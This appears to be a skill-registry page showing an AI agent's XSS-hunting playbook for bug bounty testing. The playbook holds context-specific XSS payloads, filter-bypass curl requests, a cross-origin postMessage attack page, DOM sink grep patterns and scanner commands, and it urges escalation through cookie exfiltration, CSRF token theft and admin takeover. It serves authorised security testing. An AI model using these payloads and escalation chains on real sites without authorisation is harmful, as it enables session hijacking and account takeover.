xss
Skill1 starsChanged 12 days agoMITView on GitHub
Hunt for Cross-Site Scripting: reflected, stored, and DOM-based XSS. Use when user input is echoed into HTML, JS, attributes, or URLs — search boxes, comment fields, profile fields, URL params rendered in page, postMessage handlers, client-side routers. Keywords: xss, cross-site scripting, dom xss, stored xss, reflected xss, innerHTML, document.write, sink, source, polyglot payload, CSP bypass, mXSS, dompurify bypass. Excludes self-XSS (requires victim to paste payload into their own console/field with no realistic delivery path) — note as Unproven, not a finding, unless combined with clickjacking or CSRF to force the paste. Do NOT use for server-side template execution — use ssti.
9 other projects use a version of this.
Adopted by
Most recently taken up by
- SubhiSec/claude-ai-cyber-security-skillstheir own version, first seen Oct 25, 2026
- TaiMaBenJi/taima-skillstheir own version, first seen Oct 11, 2026
- cdxiaodong/cain-agenttheir own version, first seen Oct 8, 2026
- emre-guler/websectheir own version, first seen Aug 27, 2026
- zyphr-labs/bounty-harnesstheir own version, first seen Aug 26, 2026
- conjure-3301/skillstheir own version, first seen Aug 17, 2026
Used with
Projects with it also use path-traversal.
Other files people use alongside this one.
Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
langbyyiSkillpath-traversal
Path traversal and LFI playbook. Use when file paths, download endpoints, include operations, archive extraction, or wrapper behavior may expose filesystem control.
Also in 3 projects that use this
Other versions9 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 9
- cdxiaodong/cain-agent★ 953same name
- SubhiSec/claude-ai-cyber-security-skills★ 45same name
- 0xGhostCAT/claude-ai-cyber-security-skills★ 41same name
- sunilgentyala/OmniRed★ 5same name
- langbyyi/websec-skills★ 4same name
- emre-guler/websec★ 2same name
- TaiMaBenJi/taima-skills★ 1same name
- zyphr-labs/bounty-harness★ 1same name
- conjure-3301/skills★ 0same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository124 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- ai-agent-reconSkill
- ai-supply-chainSkill
- exfiltration-via-aiSkill
- indirect-injectionSkill
- llm-fuzzingSkill
- prompt-injectionSkill
- rag-poisoningSkill
- tool-abuseSkill
- chain-analysisSkill
- chain-auth-to-takeoverSkill
- chain-customSkill
- chain-graph-walkSkill
- chain-idor-to-mass-dataSkill
- chain-info-to-exploitSkill
- chain-multi-appSkill
- chain-ssrf-to-cloudSkill
- chain-web-to-rceSkill
- chain-xss-to-account-takeoverSkill
- email-securitySkill
- engagement-flowSkill
- finding-disciplineSkill
- http-headers-securitySkill
- oob-interactionsSkill
- opsec-disciplineSkill
- research-firstSkill
- scope-disciplineSkill
- scope-importSkill
- session-contextSkill
- 2fa-bypassSkill
- api-abuseSkill
- auth-bypassSkill
- broken-access-controlSkill
- business-logicSkill
- cache-poisoningSkill
- clickjackingSkill
- corsSkill
- credential-testingSkill
- crlf-injectionSkill
- cryptographic-oracleSkill
- csrfSkill
- css-injectionSkill
- data-exfiltration-testSkill
- deserializationSkill
- email-injectionSkill
- file-uploadSkill
- fuzzingSkill
- graphqlSkill
- grpcSkill
- host-headerSkill
- http-smugglingSkill
- idorSkill
- info-disclosureSkill
- jwtSkill
- lateral-movementSkill
- lfi-rfiSkill
- mass-assignmentSkill
- oauthSkill
- open-redirectSkill
- parameter-pollutionSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
8 rules. 0 are common, 5 are distinctive, and 3 are very specific to this project.
0
Common
Most of the 6 edited versions we read keep these.
5
Distinctive
This author's own choices. Worth a look.
3
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 49
Reflection probe: Use a unique, grep-able marker first, not a real payload, to map exactly where/how input lands (HTML body, attribute, JS …
- Very specific: line 54
Check encoding: is < reflected as <, <, or stripped?
- Distinctive: line 67
Filter/encoding bypass: if the direct payload is stripped/encoded:
- Very specific: line 91
If a sink consumes location.hash/location.search directly, test:
- Distinctive: line 99
postMessage XSS: Check listener origin validation.
- Distinctive: line 113
CSP bypass check: if CSP is present — don't give up, enumerate allowed sources:
- Very specific: line 117
Look for script-src allowing JSONP endpoints, old library CDNs with known gadget payloads, unsafe-inline with no nonce, or base-uri missing …
- Distinctive: line 173
Before declaring this finding complete, probe these escalation paths:
“Common” is measured: kept by at least 6 in 10 of the 6 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Signals
- Any reflected input visible verbatim (or lightly encoded) in HTML response: view-source for your probe string.
- Rich-text/comment fields with no sanitization library, or custom sanitizers (regex-based blocklists are a strong signal — they're almost always bypassable).
- DOM sinks reachable from URL/location: grep client JS for
innerHTML,outerHTML,document.write,insertAdjacentHTML,eval,setTimeout(string),location.href=,jQuery.html(), Angular'sbypassSecurityTrust*, React'sdangerouslySetInnerHTML. postMessagelisteners without origin validation (window.addEventListener('message', ...)with noevent.origincheck).- Response headers missing or permissive CSP (
Content-Security-Policyabsent, orunsafe-inline/unsafe-evalpresent, or*inscript-src). - File upload or SVG upload that gets served back inline (SVG can carry
<script>).
Prerequisites
- An injection point you can control that round-trips into a page rendered in a browser context (not just an API JSON response consumed by non-browser clients).
- For stored XSS: ability to create content viewed by another user/role (comment, ticket, display name, support message) — the real severity lives in who views it.
- For DOM XSS: the client-side JS source (view it unminified if possible, or beautify) to trace source→sink.
Methodology
- Reflection probe. Use a unique, grep-able marker first, not a real payload, to map exactly
where/how input lands (HTML body, attribute, JS string, URL, comment):
Check encoding: iscurl -s "https://target/search?q=zzXSSMARKER99" | grep -o '.\{30\}zzXSSMARKER99.\{30\}'<reflected as<,<, or stripped? Is it inside<div>HERE</div>,value="HERE", orvar x = 'HERE';? - Context-appropriate payload based on step 1:
Confirm execution in an actual browser (headless or real) — a raw curl match is not proof.HTML body context: <script>alert(document.domain)</script> HTML attribute context: " autofocus onfocus=alert(document.domain) x=" JS string context: ';alert(document.domain);// URL/href context: javascript:alert(document.domain) SVG/upload context: <svg onload=alert(document.domain)> - Filter/encoding bypass if the direct payload is stripped/encoded:
# case variation, nested tags (classic blocklist-regex bypass), event handlers curl -s --data-urlencode 'q=<ScRiPt>alert(1)</sCrIpT>' "https://target/search" curl -s --data-urlencode 'q=<img src=x onerror=alert(1)>' "https://target/search" curl -s --data-urlencode 'q=<svg/onload=alert(1)>' "https://target/search" curl -s --data-urlencode 'q=<<script>alert(1)//<</script>' "https://target/search" - Automated scanning to triage breadth once manual methodology is understood:
dalfox url "https://target/search?q=FUZZ" --custom-alert-value "DALFOX-$(date +%s)" dalfox file urls.txt -o dalfox_results.txt --silence python3 xsstrike.py -u "https://target/search?q=test" --fuzzer nuclei -l urls.txt -tags xss -o nuclei_xss.txt - DOM XSS — source to sink tracing. Pull client JS, find sinks, trace back to a
user-controlled source:
If a sink consumescurl -s https://target/app.js -o app.js grep -nE "innerHTML|outerHTML|document\.write|insertAdjacentHTML|eval\(|dangerouslySetInnerHTML|bypassSecurityTrust" app.js grep -nE "location\.(hash|search|href)|URLSearchParams|document\.referrer" app.jslocation.hash/location.searchdirectly, test:
Confirm in a real browser devtools console (hash-based payloads never hit the server, so curl/nuclei alone will miss them — this is a client-only bug).https://target/app#<script>alert(document.domain)</script> https://target/app?param=<img src=x onerror=alert(document.domain)> - postMessage XSS. Check listener origin validation; craft a cross-origin page that posts a
malicious payload:
<script> const w = window.open("https://target/app"); setTimeout(() => w.postMessage("<img src=x onerror=alert(document.domain)>", "*"), 2000); </script> - Stored XSS — plant and verify from victim context. Submit payload via normal app flow, then view it as a different authenticated session/role (second browser profile or incognito logged in as another test account) to confirm it fires outside your own session — this is what separates stored XSS from self-XSS.
- CSP bypass check if CSP is present — don't give up, enumerate allowed sources:
Look forcurl -sI https://target/app | grep -i content-security-policyscript-srcallowing JSONP endpoints, old library CDNs with known gadget payloads,unsafe-inlinewith no nonce, orbase-urimissing (allows<base>href hijack of relative script tags).
Tooling
dalfox— fast param-based XSS scanning with blind callback support (--blind).XSStrike— fuzzing + context-aware payload generation + basic WAF detection.nuclei -tags xss— template-based triage across many hosts.- Browser devtools (manual) — mandatory for DOM XSS and real execution confirmation.
- Burp Suite — manual context analysis, CSP evaluator extension.
Root Causes
- Output encoding missing/wrong for context (HTML-encoding a value placed inside a
<script>block does nothing — each context needs its own encoding). - Client-side frameworks' "escape hatches" used on user data (
dangerouslySetInnerHTML,[innerHTML]binding,v-html,bypassSecurityTrustHtml). - Custom/regex-based sanitizers instead of a vetted library (DOMPurify, context-aware templating auto-escaping).
postMessagehandlers trustingevent.datawithout checkingevent.origin.- SVG/file uploads served with
Content-Typethat lets the browser render them as HTML/SVG instead of forcingContent-Disposition: attachment.
Validation Gate (minimum proof)
- Reproducible JS execution in a real (or headless) browser context —
alert()/console log firing — with the exact request and the rendered DOM/console screenshot as evidence. - For stored XSS: fired from a second session/role viewing the stored content, not just the submitting session.
- For DOM XSS: the source (URL fragment/param/referrer) and the exact sink line in client JS, plus a working URL that triggers it unauthenticated (or with victim's session) in a fresh browser.
Gotchas
- Self-XSS is not a finding per this project's rules unless there's a realistic delivery mechanism (CSRF-forced submission, clickjacking) — label the bare case Unproven and say why.
- Common N/A: payload reflected but
Content-Type: application/jsonortext/plain— no browser will execute it; check the actual response header, not just the URL path. - Common N/A: reflected only inside an HTML comment with no comment-escape vector, or only in a non-rendered API response consumed by a backend service.
- Overclaim trap: an
alert()firing in your own browser while testing a "reflected" payload that required you to be authenticated as yourself and submit the form yourself is self-XSS, not reflected XSS — reflected XSS must work via a URL a victim clicks. - Overclaim trap: CSP
report-onlymode still allows execution — don't mark XSS as mitigated just because a CSP header exists; check it's enforcing, and check it actually blocks your payload (test the real payload against it, don't assume from header presence). - Encoded output in HTTP response but decoded client-side via JS (
decodeURIComponentbefore aninnerHTMLsink) bypasses server-side encoding entirely — always check post-JS-execution DOM, not just raw HTTP response. - WAFs often block
<script>but miss event-handler-based orjavascript:vectors — rotate payload families before declaring a field safe.
Chain Anchors
Before declaring this finding complete, probe these escalation paths:
- Cookie theft — Can you steal session cookies via document.cookie exfiltration? Check the HttpOnly flag first — if set, mark this anchor not-applicable.
- CSRF forgery from XSS — Can you use the XSS execution context to forge state-changing CSRF requests, including reading tokens out of the DOM?
- Admin panel escalation — Does stored XSS fire in an admin-facing view (ticket, profile, moderation queue), escalating a low-priv finding to admin takeover?
- postMessage chaining — Can you chain with postMessage to deliver the payload cross-origin to a related application or subdomain?
- Email notification survival — Does the payload survive sanitization when the stored content is reflected into HTML email notifications?
A finding without chain anchor results is INCOMPLETE. Record each anchor as tested/not-applicable/blocked with the reason.
Chains & Compositions
- Stored XSS in admin-visible field → session/cookie theft → auth-bypass (session hijack).
- XSS + missing
HttpOnlyon session cookie → direct cookie exfil. - XSS → CSRF token theft (read token from DOM) → bypasses csrf protections entirely.
- XSS → forced open-redirect chain for phishing credibility.
- DOM XSS via postMessage → cross-origin cswsh-adjacent trust abuse if combined with websocket origin issues.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

